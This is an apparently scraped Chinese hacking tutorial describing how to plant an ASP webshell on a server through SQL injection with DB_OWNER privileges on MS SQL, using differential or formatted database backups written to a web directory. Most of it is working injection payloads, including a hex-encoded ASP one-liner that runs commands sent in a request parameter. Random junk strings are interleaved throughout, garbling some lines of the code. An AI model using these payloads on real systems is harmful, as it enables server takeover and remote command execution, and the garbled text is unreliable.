DB_OWNER权限得到webshell的两点改进:
* k5 @) a0 s4 q: m0 j' Y" n* Y0 q3 I8 E7 R' o# {
减少备份文件大小,得到可执行的webshell成功率提高不少
9 u7 V5 O8 y! `9 t9 b" C% b一利用差异备份9 `9 R0 T0 r* x# f# W
加一个参数WITH DIFFERENTIAL
; t$ L: j+ v3 V) o. c9 s& I# P, b
e; r: w; W- ^15 @1 }# Y" S4 a0 k# h. X
2
1 `( [; C* @; i0 P( k# f8 S" m5 K3& y4 `. u6 m0 o* f' R
4
3 T6 `& I7 K/ i4 t4 z9 b6 E declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s( n# |* Q: q3 R# l# t
create table [dbo].[xiaolu] ([cmd] [image]);
# D( V4 C) n" l. _. b9 E& ?insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2 A: w; Q) |, V# ^0 @) Hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ) b0 x. | l9 ^6 \9 s
2 x: S @1 p+ j3 A { D9 J二利用完全FORMAT
# A# K3 a9 M5 u9 E1 o3 r. m加一个参数WITH FROMAT3 S# p! O+ j4 C5 b8 F
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以5 O; c& g. S, U: Y2 d9 k0 m3 {! f
) b: a6 D( `& M+ n0 W6 Z4 q2 p, q
16 ?- X1 ?+ C! t9 }0 i
2. n, k; t* k* }
37 Q4 h: O' W1 Y. p. T( _
42 V1 f; h9 q3 h7 |) A. k: s: L
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. `0 B1 ~$ V4 G
create table [dbo].[xiaolu] ([cmd] [image]);
- G; I: D; ?0 C! kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E); ~5 i& W1 C7 ^! o
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 2 d9 S" r4 `; h0 D! g; D
, S. h. ?; L7 X8 V" a8 H0 q
总的来说就是那么简单几句,下面以备份数据库model为例子
0 s) w& T/ G1 O4 r5 K. ]! J1, x! H; S8 ?3 d$ W# ^# ]; L
* k9 g* c$ b9 K( G4 r2 R
1! a. ~6 C0 } y5 m8 w# F: x
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
' \+ i1 F- y0 F: B2 `. z
7 h, _# g4 R. y; d# S2# x0 a4 O* }' ^ l
* K2 K/ w( b3 }1 i8 P4 K. W1: m0 m; P( z& |3 X
id=1;backup database model to disk='你的路径‘ with differential,format;--
9 o- u: a5 p( S5 s& T$ C2 e |